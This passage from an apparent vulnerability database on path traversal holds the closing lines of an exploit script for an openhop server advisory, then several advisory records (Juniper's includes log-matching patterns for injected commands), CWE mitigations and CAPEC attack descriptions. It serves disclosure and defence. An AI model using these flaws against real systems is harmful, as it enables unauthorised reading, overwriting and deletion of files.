\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print()\n print(\"=\" * 62)\n if passed_read and passed_delete:\n print(\"[RESULT] PASS \u2014 Both read and delete path traversal exploited\")\n return 0\n elif passed_read:\n print(\"[RESULT] PARTIAL \u2014 Read traversal confirmed, delete did not succeed\")\n return 1\n else:\n print(\"[RESULT] FAIL \u2014 Exploit did not succeed\")\n return 2\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
"id": "GHSA-g72f-jw3w-mgh7",
"modified": "2026-09-09T23:51:59Z",
"published": "2026-09-09T23:51:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/naorsabag/openhop/security/advisories/GHSA-g72f-jw3w-mgh7"
},
{
"type": "WEB",
"url": "https://github.com/naorsabag/openhop/commit/c8190fbefa3a50e7b0c16c001d2e05b0e920cfb4"
},
{
"type": "PACKAGE",
"url": "https://github.com/naorsabag/openhop"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "@openhop/server: Path Traversal in Flow ID File Operations"
}
GHSA-G72M-M9VM-P582
Vulnerability from github – Published: 2022-03-30 00:00 – Updated: 2022-04-05 00:00Delta Electronics DIAEnergie (All versions prior to 1.8.02.004) is vulnerable to path traversal attacks, which may allow an attacker to write arbitrary files to locations on the file system.
{
"affected": [],
"aliases": [
"CVE-2022-25347"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-29T17:15:00Z",
"severity": "HIGH"
},
"details": "Delta Electronics DIAEnergie (All versions prior to 1.8.02.004) is vulnerable to path traversal attacks, which may allow an attacker to write arbitrary files to locations on the file system.",
"id": "GHSA-g72m-m9vm-p582",
"modified": "2022-04-05T00:00:37Z",
"published": "2022-03-30T00:00:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25347"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-081-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G73H-MH6M-FWRG
Vulnerability from github – Published: 2024-05-03 03:30 – Updated: 2024-05-03 03:30LG Simple Editor deleteCanvas Directory Traversal Arbitrary File Deletion Vulnerability. This vulnerability allows remote attackers to delete arbitrary files on affected installations of LG Simple Editor. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the deleteCanvas method. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to delete files in the context of SYSTEM. Was ZDI-CAN-20011.
{
"affected": [],
"aliases": [
"CVE-2023-40509"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-03T03:15:25Z",
"severity": "HIGH"
},
"details": "LG Simple Editor deleteCanvas Directory Traversal Arbitrary File Deletion Vulnerability. This vulnerability allows remote attackers to delete arbitrary files on affected installations of LG Simple Editor. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the deleteCanvas method. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to delete files in the context of SYSTEM. Was ZDI-CAN-20011.",
"id": "GHSA-g73h-mh6m-fwrg",
"modified": "2024-05-03T03:30:59Z",
"published": "2024-05-03T03:30:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40509"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1213"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G73P-9P76-7WM8
Vulnerability from github – Published: 2024-01-10 18:30 – Updated: 2024-01-10 18:30An improper limitation of a pathname to a restricted directory ('path traversal') vulnerability [CWE-22] in FortiVoiceEntreprise version 7.0.0 and before 6.4.7 allows an authenticated attacker to read arbitrary files from the system via sending crafted HTTP or HTTPS requests
{
"affected": [],
"aliases": [
"CVE-2023-37932"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-10T18:15:45Z",
"severity": "MODERATE"
},
"details": "An improper limitation of a pathname to a restricted directory (\u0027path traversal\u0027) vulnerability [CWE-22] in FortiVoiceEntreprise version 7.0.0 and before 6.4.7 allows an authenticated attacker to read arbitrary files from the system via sending crafted HTTP or HTTPS requests",
"id": "GHSA-g73p-9p76-7wm8",
"modified": "2024-01-10T18:30:28Z",
"published": "2024-01-10T18:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37932"
},
{
"type": "WEB",
"url": "https://fortiguard.com/psirt/FG-IR-23-219"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G747-9XRW-RCMJ
Vulnerability from github – Published: 2023-08-17 18:31 – Updated: 2024-04-04 07:01The Rockwell Automation Thinmanager Thinserver is impacted by an improper input validation vulnerability. Due to an improper input validation, a path traversal vulnerability exists, via the filename field, when the ThinManager processes a certain function. If exploited, an unauthenticated remote attacker can upload arbitrary files to any directory on the disk drive where ThinServer.exe is installed. A malicious user could exploit this vulnerability by sending a crafted synchronization protocol message and potentially gain remote code execution abilities.
{
"affected": [],
"aliases": [
"CVE-2023-2917"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-17T16:15:09Z",
"severity": "CRITICAL"
},
"details": "The Rockwell Automation Thinmanager Thinserver is impacted by an improper input validation vulnerability.\u00a0\u00a0Due to an improper input validation, a path traversal vulnerability exists, via the filename field, when the ThinManager processes a certain function. If exploited, an unauthenticated remote attacker can upload arbitrary files to any directory on the disk drive where ThinServer.exe is installed. \u00a0A malicious user could exploit this vulnerability by sending a crafted synchronization protocol message and potentially gain remote code execution abilities.\n\n ",
"id": "GHSA-g747-9xrw-rcmj",
"modified": "2024-04-04T07:01:51Z",
"published": "2023-08-17T18:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2917"
},
{
"type": "WEB",
"url": "https://rockwellautomation.custhelp.com/app/answers/answer_view/a_id/1140471"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G74X-8276-GW6G
Vulnerability from github – Published: 2022-05-17 02:08 – Updated: 2022-05-17 02:08Directory traversal vulnerability in the SMEStorage (com_smestorage) component before 1.1 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.
{
"affected": [],
"aliases": [
"CVE-2010-1858"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-05-07T20:30:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in the SMEStorage (com_smestorage) component before 1.1 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.",
"id": "GHSA-g74x-8276-gw6g",
"modified": "2022-05-17T02:08:18Z",
"published": "2022-05-17T02:08:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1858"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/57108"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/1003-exploits/joomlasmestorage-lfi.txt"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/39071"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/11853"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/38911"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-G75R-MX6V-HMMH
Vulnerability from github – Published: 2022-12-13 18:30 – Updated: 2022-12-15 06:30In writeApplicationRestrictionsLAr of UserManagerService.java, there is a possible overwrite of system files due to a path traversal error. This could lead to local denial of service with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12 Android-12L Android-13Android ID: A-239701237
{
"affected": [],
"aliases": [
"CVE-2022-20449"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-13T16:15:00Z",
"severity": "MODERATE"
},
"details": "In writeApplicationRestrictionsLAr of UserManagerService.java, there is a possible overwrite of system files due to a path traversal error. This could lead to local denial of service with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12 Android-12L Android-13Android ID: A-239701237",
"id": "GHSA-g75r-mx6v-hmmh",
"modified": "2022-12-15T06:30:30Z",
"published": "2022-12-13T18:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20449"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2022-12-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G762-XHJQ-X42P
Vulnerability from github – Published: 2022-05-24 17:17 – Updated: 2025-10-22 00:31A vulnerability in the HTTP/HTTPS service used by J-Web, Web Authentication, Dynamic-VPN (DVPN), Firewall Authentication Pass-Through with Web-Redirect, and Zero Touch Provisioning (ZTP) allows an unauthenticated attacker to perform local file inclusion (LFI) or path traversal. Using this vulnerability, an attacker may be able to inject commands into the httpd.log, read files with 'world' readable permission file or obtain J-Web session tokens. In the case of command injection, as the HTTP service runs as user 'nobody', the impact of this command injection is limited. (CVSS score 5.3, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) In the case of reading files with 'world' readable permission, in Junos OS 19.3R1 and above, the unauthenticated attacker would be able to read the configuration file. (CVSS score 5.9, vector CVSS:3.1/ AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N) If J-Web is enabled, the attacker could gain the same level of access of anyone actively logged into J-Web. If an administrator is logged in, the attacker could gain administrator access to J-Web. (CVSS score 8.8, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) This issue only affects Juniper Networks Junos OS devices with HTTP/HTTPS services enabled. Junos OS devices with HTTP/HTTPS services disabled are not affected. If HTTP/HTTPS services are enabled, the following command will show the httpd processes: user@device> show system processes | match http 5260 - S 0:00.13 /usr/sbin/httpd-gk -N 5797 - I 0:00.10 /usr/sbin/httpd --config /jail/var/etc/httpd.conf To summarize: If HTTP/HTTPS services are disabled, there is no impact from this vulnerability. If HTTP/HTTPS services are enabled and J-Web is not in use, this vulnerability has a CVSS score of 5.9 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N). If J-Web is enabled, this vulnerability has a CVSS score of 8.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H). Juniper SIRT has received a single report of this vulnerability being exploited in the wild. Out of an abundance of caution, we are notifying customers so they can take appropriate actions. Indicators of Compromise: The /var/log/httpd.log may have indicators that commands have injected or files being accessed. The device administrator can look for these indicators by searching for the string patterns "=;&" or "%3b&" in /var/log/httpd.log, using the following command: user@device> show log httpd.log | match "=;&|=%3b&" If this command returns any output, it might be an indication of malicious attempts or simply scanning activities. Rotated logs should also be reviewed, using the following command: user@device> show log httpd.log.0.gz | match "=;&|=%3b&" user@device> show log httpd.log.1.gz | match "=;&|=%3b&" Note that a skilled attacker would likely remove these entries from the local log file, thus effectively eliminating any reliable signature that the device had been attacked. This issue affects Juniper Networks Junos OS 12.3 versions prior to 12.3R12-S16; 12.3X48 versions prior to 12.3X48-D101, 12.3X48-D105; 14.1X53 versions prior to 14.1X53-D54; 15.1 versions prior to 15.1R7-S7; 15.1X49 versions prior to 15.1X49-D211, 15.1X49-D220; 16.1 versions prior to 16.1R7-S8; 17.2 versions prior to 17.2R3-S4; 17.3 versions prior to 17.3R3-S8; 17.4 versions prior to 17.4R2-S11, 17.4R3-S2; 18.1 versions prior to 18.1R3-S10; 18.2 versions prior to 18.2R2-S7, 18.2R3-S4; 18.3 versions prior to 18.3R2-S4, 18.3R3-S2; 18.4 versions prior to 18.4R1-S7, 18.4R3-S2 ; 18.4 version 18.4R2 and later versions; 19.1 versions prior to 19.1R1-S5, 19.1R3-S1; 19.1 version 19.1R2 and later versions; 19.2 versions prior to 19.2R2; 19.3 versions prior to 19.3R2-S3, 19.3R3; 19.4 versions prior to 19.4R1-S2, 19.4R2; 20.1 versions prior to 20.1R1-S1, 20.1R2.
{
"affected": [],
"aliases": [
"CVE-2020-1631"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-05-04T10:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the HTTP/HTTPS service used by J-Web, Web Authentication, Dynamic-VPN (DVPN), Firewall Authentication Pass-Through with Web-Redirect, and Zero Touch Provisioning (ZTP) allows an unauthenticated attacker to perform local file inclusion (LFI) or path traversal. Using this vulnerability, an attacker may be able to inject commands into the httpd.log, read files with \u0027world\u0027 readable permission file or obtain J-Web session tokens. In the case of command injection, as the HTTP service runs as user \u0027nobody\u0027, the impact of this command injection is limited. (CVSS score 5.3, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) In the case of reading files with \u0027world\u0027 readable permission, in Junos OS 19.3R1 and above, the unauthenticated attacker would be able to read the configuration file. (CVSS score 5.9, vector CVSS:3.1/ AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N) If J-Web is enabled, the attacker could gain the same level of access of anyone actively logged into J-Web. If an administrator is logged in, the attacker could gain administrator access to J-Web. (CVSS score 8.8, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) This issue only affects Juniper Networks Junos OS devices with HTTP/HTTPS services enabled. Junos OS devices with HTTP/HTTPS services disabled are not affected. If HTTP/HTTPS services are enabled, the following command will show the httpd processes: user@device\u003e show system processes | match http 5260 - S 0:00.13 /usr/sbin/httpd-gk -N 5797 - I 0:00.10 /usr/sbin/httpd --config /jail/var/etc/httpd.conf To summarize: If HTTP/HTTPS services are disabled, there is no impact from this vulnerability. If HTTP/HTTPS services are enabled and J-Web is not in use, this vulnerability has a CVSS score of 5.9 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N). If J-Web is enabled, this vulnerability has a CVSS score of 8.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H). Juniper SIRT has received a single report of this vulnerability being exploited in the wild. Out of an abundance of caution, we are notifying customers so they can take appropriate actions. Indicators of Compromise: The /var/log/httpd.log may have indicators that commands have injected or files being accessed. The device administrator can look for these indicators by searching for the string patterns \"=*;*\u0026\" or \"*%3b*\u0026\" in /var/log/httpd.log, using the following command: user@device\u003e show log httpd.log | match \"=*;*\u0026|=*%3b*\u0026\" If this command returns any output, it might be an indication of malicious attempts or simply scanning activities. Rotated logs should also be reviewed, using the following command: user@device\u003e show log httpd.log.0.gz | match \"=*;*\u0026|=*%3b*\u0026\" user@device\u003e show log httpd.log.1.gz | match \"=*;*\u0026|=*%3b*\u0026\" Note that a skilled attacker would likely remove these entries from the local log file, thus effectively eliminating any reliable signature that the device had been attacked. This issue affects Juniper Networks Junos OS 12.3 versions prior to 12.3R12-S16; 12.3X48 versions prior to 12.3X48-D101, 12.3X48-D105; 14.1X53 versions prior to 14.1X53-D54; 15.1 versions prior to 15.1R7-S7; 15.1X49 versions prior to 15.1X49-D211, 15.1X49-D220; 16.1 versions prior to 16.1R7-S8; 17.2 versions prior to 17.2R3-S4; 17.3 versions prior to 17.3R3-S8; 17.4 versions prior to 17.4R2-S11, 17.4R3-S2; 18.1 versions prior to 18.1R3-S10; 18.2 versions prior to 18.2R2-S7, 18.2R3-S4; 18.3 versions prior to 18.3R2-S4, 18.3R3-S2; 18.4 versions prior to 18.4R1-S7, 18.4R3-S2 ; 18.4 version 18.4R2 and later versions; 19.1 versions prior to 19.1R1-S5, 19.1R3-S1; 19.1 version 19.1R2 and later versions; 19.2 versions prior to 19.2R2; 19.3 versions prior to 19.3R2-S3, 19.3R3; 19.4 versions prior to 19.4R1-S2, 19.4R2; 20.1 versions prior to 20.1R1-S1, 20.1R2.",
"id": "GHSA-g762-xhjq-x42p",
"modified": "2025-10-22T00:31:54Z",
"published": "2022-05-24T17:17:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1631"
},
{
"type": "WEB",
"url": "https://kb.juniper.net/JSA11021"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-1631"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.